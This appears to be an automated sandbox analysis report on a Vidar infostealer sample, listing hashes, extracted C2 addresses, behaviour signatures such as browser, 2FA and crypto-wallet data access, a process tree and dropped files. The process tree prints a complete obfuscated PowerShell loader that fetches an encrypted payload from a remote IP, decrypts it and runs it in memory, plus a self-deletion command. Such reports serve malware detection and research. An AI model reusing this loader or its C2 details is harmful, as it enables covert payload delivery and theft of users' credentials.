Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    11/05/2023, 18:33

General

  • Target

    0f99eef3431f8f04eef23ccab335afcd7129e1ca69728ba2bfc929de3010e402.exe

  • Size

    688KB

  • MD5

    c9e2ee39f9899dcbb8b51de798971892

  • SHA1

    9104f6cd9b9fa5f7269ed70a8355fc553275bdd9

  • SHA256

    0f99eef3431f8f04eef23ccab335afcd7129e1ca69728ba2bfc929de3010e402

  • SHA512

    8beb681d70df085fe2b7a1ed5cc69850be87e4d3281b9560aafef1358d495af54b3a45f6b2a3b80c44ab6801d0788148b1bdb5005de24e405f5ae4466cd7dcd4

  • SSDEEP

    12288:ACxHDIAphovDRNKA4N058amG6JtR6wfTbTxwjfwxt:A2H0Apwnr4NuVqgowjfwx

Malware Config

Extracted

Family

vidar

Version

3.8

Botnet

cdb48fb567690db37648afd4e1d83137

C2

https://steamcommunity.com/profiles/76561198272578552

https://t.me/libpcre

Attributes
  • profile_id_v2

    cdb48fb567690db37648afd4e1d83137

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Vivaldi/3.7

Signatures

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0f99eef3431f8f04eef23ccab335afcd7129e1ca69728ba2bfc929de3010e402.exe
    "C:\Users\Admin\AppData\Local\Temp\0f99eef3431f8f04eef23ccab335afcd7129e1ca69728ba2bfc929de3010e402.exe"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Users\Admin\AppData\Roaming\gnytjgdfgn\newbuild.exe
      newbuild.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:580
      • C:\ProgramData\48186326115165114877.exe
        "C:\ProgramData\48186326115165114877.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1428
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command if ([System.Environment]::GetEnvironmentVariables().Count -lt 10) {exit -65536;} $typiconBooties = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('OTEuMjE1Ljg1LjE5OA==')); $elidesDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NDU5MzQ=')); $agentsTypicon = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('M2EyNWE=')); $elidesBooties = new-object System.Net.Sockets.TcpClient; $elidesBooties.Connect($typiconBooties, [int]$elidesDiggers); $moniasBecram = $elidesBooties.GetStream(); $elidesBooties.SendTimeout = 300000; $elidesBooties.ReceiveTimeout = 300000; $lingasElides = [System.Text.StringBuilder]::new(); $lingasElides.AppendLine('GET /' + $agentsTypicon); $lingasElides.AppendLine('Host: ' + $typiconBooties); $lingasElides.AppendLine(); $bootiesMonias = [System.Text.Encoding]::ASCII.GetBytes($lingasElides.ToString()); $moniasBecram.Write($bootiesMonias, 0, $bootiesMonias.Length); $moniasAgents = New-Object System.IO.MemoryStream; $moniasBecram.CopyTo($moniasAgents); $moniasBecram.Dispose(); $elidesBooties.Dispose(); $moniasAgents.Position = 0; $bootiesDiggers = $moniasAgents.ToArray(); $moniasAgents.Dispose(); $lingasAgents = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers).IndexOf('`r`n`r`n')+1; $lingasTypicon = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers[$lingasAgents..($bootiesDiggers.Length-1)]); $lingasTypicon = [System.Convert]::FromBase64String($lingasTypicon); $diggersCuittle = New-Object System.Security.Cryptography.AesManaged; $diggersCuittle.Mode = [System.Security.Cryptography.CipherMode]::CBC; $diggersCuittle.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $diggersCuittle.Key = [System.Convert]::FromBase64String('bTBxHoHlsFE1FusIuQOatttX0kgSSC4OKDkQ+IjagWQ='); $diggersCuittle.IV = [System.Convert]::FromBase64String('VB4EnrJD2qF3uAbX2nckFA=='); $typiconMonias = $diggersCuittle.CreateDecryptor(); $lingasTypicon = $typiconMonias.TransformFinalBlock($lingasTypicon, 0, $lingasTypicon.Length); $typiconMonias.Dispose(); $diggersCuittle.Dispose(); $agentsBecram = New-Object System.IO.MemoryStream(, $lingasTypicon); $cristiDiggers = New-Object System.IO.MemoryStream; $diggersMonias = New-Object System.IO.Compression.GZipStream($agentsBecram, [IO.Compression.CompressionMode]::Decompress); $diggersMonias.CopyTo($cristiDiggers); $lingasTypicon = $cristiDiggers.ToArray(); $agentsBooties = [System.Reflection.Assembly]::Load($lingasTypicon); $moniasDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZmlzdHVjYUZyYWdoYW4=')); $elidesMonias = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('bGluZ2FzQ3VpdHRsZQ==')); $bootiesAgents = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Ym9vdGllc0VsaWRlcw==')); $bootiesCristi = $agentsBooties.GetType($moniasDiggers + '.' + $elidesMonias); $elidesLingas = $bootiesCristi.GetMethod($bootiesAgents); $elidesLingas.Invoke($cuittleBooties, (, [string[]] ('C:\ProgramData\48186326115165114877.exe'))); #($cuittleBooties, $cuittleBooties);
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:840
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Roaming\gnytjgdfgn\newbuild.exe" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1120
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 6
          4⤵
          • Delays execution with timeout.exe
          PID:432

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\48186326115165114877.exe

    Filesize

    771KB

    MD5

    946640d04e9bc3419f1ca9183e5da8f6

    SHA1

    01979f52205001536c749ae362e176fba93494fc

    SHA256

    2bb8bfd91c20d0bcbaef017bb7c0160644a87ded17fa8bdf181d0d14db107641

    SHA512

    f99d5ce61197e6b8aa1da9eeecff69ad68429dbc10bfd5d534f9fe537d8d0e98e0c22c2e8c4b70dda8300d61178e68cd10265c1ba2fb7a050802a606a561a9f1

  • C:\ProgramData\48186326115165114877.exe

    Filesize

    771KB

    MD5

    946640d04e9bc3419f1ca9183e5da8f6

    SHA1

    01979f52205001536c749ae362e176fba93494fc

    SHA256

    2bb8bfd91c20d0bcbaef017bb7c0160644a87ded17fa8bdf181d0d14db107641

    SHA512

    f99d5ce61197e6b8aa1da9eeecff69ad68429dbc10bfd5d534f9fe537d8d0e98e0c22c2e8c4b70dda8300d61178e68cd10265c1ba2fb7a050802a606a561a9f1

  • C:\ProgramData\48186326115165114877.exe

    Filesize

    771KB

    MD5

    946640d04e9bc3419f1ca9183e5da8f6

    SHA1

    01979f52205001536c749ae362e176fba93494fc

    SHA256

    2bb8bfd91c20d0bcbaef017bb7c0160644a87ded17fa8bdf181d0d14db107641

    SHA512

    f99d5ce61197e6b8aa1da9eeecff69ad68429dbc10bfd5d534f9fe537d8d0e98e0c22c2e8c4b70dda8300d61178e68cd10265c1ba2fb7a050802a606a561a9f1

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

    Filesize

    62KB

    MD5

    3ac860860707baaf32469fa7cc7c0192

    SHA1

    c33c2acdaba0e6fa41fd2f00f186804722477639

    SHA256

    d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

    SHA512

    d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

  • C:\Users\Admin\AppData\Local\Temp\Tar5E00.tmp

    Filesize

    164KB

    MD5

    4ff65ad929cd9a367680e0e5b1c08166

    SHA1

    c0af0d4396bd1f15c45f39d3b849ba444233b3a2

    SHA256

    c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6

    SHA512

    f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

  • C:\Users\Admin\AppData\Roaming\gnytjgdfgn\newbuild.exe

    Filesize

    427KB

    MD5

    41d09d5600b1b30b656d33553ac71d0d

    SHA1

    5736f2c7cee6ceadab60a5f7cafdb192d623ad4d

    SHA256

    9b7720640ea927b47581425a91027c4f5eb4871c7b00bc86ce39079e789bcbf8

    SHA512

    250cde2ed7a26dcc3e3e1955bc5ab4eb49663c3f16a7ae5c6814af56877367491ec70dee5c0ae602349c5cc4589edb5a245477ed193d534d43898887c619c57f

  • C:\Users\Admin\AppData\Roaming\gnytjgdfgn\newbuild.exe

    Filesize

    427KB

    MD5

    41d09d5600b1b30b656d33553ac71d0d

    SHA1

    5736f2c7cee6ceadab60a5f7cafdb192d623ad4d

    SHA256

    9b7720640ea927b47581425a91027c4f5eb4871c7b00bc86ce39079e789bcbf8

    SHA512

    250cde2ed7a26dcc3e3e1955bc5ab4eb49663c3f16a7ae5c6814af56877367491ec70dee5c0ae602349c5cc4589edb5a245477ed193d534d43898887c619c57f

  • C:\Users\Admin\AppData\Roaming\gnytjgdfgn\newbuild.exe

    Filesize

    427KB

    MD5

    41d09d5600b1b30b656d33553ac71d0d

    SHA1

    5736f2c7cee6ceadab60a5f7cafdb192d623ad4d

    SHA256

    9b7720640ea927b47581425a91027c4f5eb4871c7b00bc86ce39079e789bcbf8

    SHA512

    250cde2ed7a26dcc3e3e1955bc5ab4eb49663c3f16a7ae5c6814af56877367491ec70dee5c0ae602349c5cc4589edb5a245477ed193d534d43898887c619c57f

  • \ProgramData\48186326115165114877.exe

    Filesize

    771KB

    MD5

    946640d04e9bc3419f1ca9183e5da8f6

    SHA1

    01979f52205001536c749ae362e176fba93494fc

    SHA256

    2bb8bfd91c20d0bcbaef017bb7c0160644a87ded17fa8bdf181d0d14db107641

    SHA512

    f99d5ce61197e6b8aa1da9eeecff69ad68429dbc10bfd5d534f9fe537d8d0e98e0c22c2e8c4b70dda8300d61178e68cd10265c1ba2fb7a050802a606a561a9f1

  • \ProgramData\48186326115165114877.exe

    Filesize

    771KB

    MD5

    946640d04e9bc3419f1ca9183e5da8f6

    SHA1

    01979f52205001536c749ae362e176fba93494fc

    SHA256

    2bb8bfd91c20d0bcbaef017bb7c0160644a87ded17fa8bdf181d0d14db107641

    SHA512

    f99d5ce61197e6b8aa1da9eeecff69ad68429dbc10bfd5d534f9fe537d8d0e98e0c22c2e8c4b70dda8300d61178e68cd10265c1ba2fb7a050802a606a561a9f1

  • \ProgramData\48186326115165114877.exe

    Filesize

    771KB

    MD5

    946640d04e9bc3419f1ca9183e5da8f6

    SHA1

    01979f52205001536c749ae362e176fba93494fc

    SHA256

    2bb8bfd91c20d0bcbaef017bb7c0160644a87ded17fa8bdf181d0d14db107641

    SHA512

    f99d5ce61197e6b8aa1da9eeecff69ad68429dbc10bfd5d534f9fe537d8d0e98e0c22c2e8c4b70dda8300d61178e68cd10265c1ba2fb7a050802a606a561a9f1

  • \ProgramData\48186326115165114877.exe

    Filesize

    771KB

    MD5

    946640d04e9bc3419f1ca9183e5da8f6

    SHA1

    01979f52205001536c749ae362e176fba93494fc

    SHA256

    2bb8bfd91c20d0bcbaef017bb7c0160644a87ded17fa8bdf181d0d14db107641

    SHA512

    f99d5ce61197e6b8aa1da9eeecff69ad68429dbc10bfd5d534f9fe537d8d0e98e0c22c2e8c4b70dda8300d61178e68cd10265c1ba2fb7a050802a606a561a9f1

  • \ProgramData\mozglue.dll

    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

  • \ProgramData\nss3.dll

    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

  • \Users\Admin\AppData\Roaming\gnytjgdfgn\newbuild.exe

    Filesize

    427KB

    MD5

    41d09d5600b1b30b656d33553ac71d0d

    SHA1

    5736f2c7cee6ceadab60a5f7cafdb192d623ad4d

    SHA256

    9b7720640ea927b47581425a91027c4f5eb4871c7b00bc86ce39079e789bcbf8

    SHA512

    250cde2ed7a26dcc3e3e1955bc5ab4eb49663c3f16a7ae5c6814af56877367491ec70dee5c0ae602349c5cc4589edb5a245477ed193d534d43898887c619c57f

  • \Users\Admin\AppData\Roaming\gnytjgdfgn\newbuild.exe

    Filesize

    427KB

    MD5

    41d09d5600b1b30b656d33553ac71d0d

    SHA1

    5736f2c7cee6ceadab60a5f7cafdb192d623ad4d

    SHA256

    9b7720640ea927b47581425a91027c4f5eb4871c7b00bc86ce39079e789bcbf8

    SHA512

    250cde2ed7a26dcc3e3e1955bc5ab4eb49663c3f16a7ae5c6814af56877367491ec70dee5c0ae602349c5cc4589edb5a245477ed193d534d43898887c619c57f

  • memory/580-159-0x0000000000400000-0x0000000002388000-memory.dmp

    Filesize

    31.5MB

  • memory/580-118-0x0000000061E00000-0x0000000061EF3000-memory.dmp

    Filesize

    972KB

  • memory/580-183-0x0000000005510000-0x0000000005511000-memory.dmp

    Filesize

    4KB

  • memory/580-66-0x0000000000320000-0x0000000000377000-memory.dmp

    Filesize

    348KB

  • memory/580-210-0x0000000000400000-0x0000000002388000-memory.dmp

    Filesize

    31.5MB

  • memory/580-161-0x0000000000320000-0x0000000000377000-memory.dmp

    Filesize

    348KB

  • memory/580-209-0x0000000005510000-0x0000000005511000-memory.dmp

    Filesize

    4KB

  • memory/580-182-0x0000000000400000-0x0000000002388000-memory.dmp

    Filesize

    31.5MB

  • memory/840-207-0x0000000002490000-0x00000000024D0000-memory.dmp

    Filesize

    256KB

  • memory/840-206-0x0000000002490000-0x00000000024D0000-memory.dmp

    Filesize

    256KB

  • memory/1428-202-0x00000000012E0000-0x00000000013A2000-memory.dmp

    Filesize

    776KB

  • memory/1428-203-0x0000000004B70000-0x0000000004BB0000-memory.dmp

    Filesize

    256KB

  • memory/2028-55-0x0000000003C10000-0x0000000003CEC000-memory.dmp

    Filesize

    880KB

  • memory/2028-65-0x0000000000400000-0x00000000023CA000-memory.dmp

    Filesize

    31.8MB

  • memory/2028-160-0x0000000000400000-0x00000000023CA000-memory.dmp

    Filesize

    31.8MB

  • memory/2028-163-0x0000000000400000-0x00000000023CA000-memory.dmp

    Filesize

    31.8MB

  • memory/2028-164-0x0000000000400000-0x00000000023CA000-memory.dmp

    Filesize

    31.8MB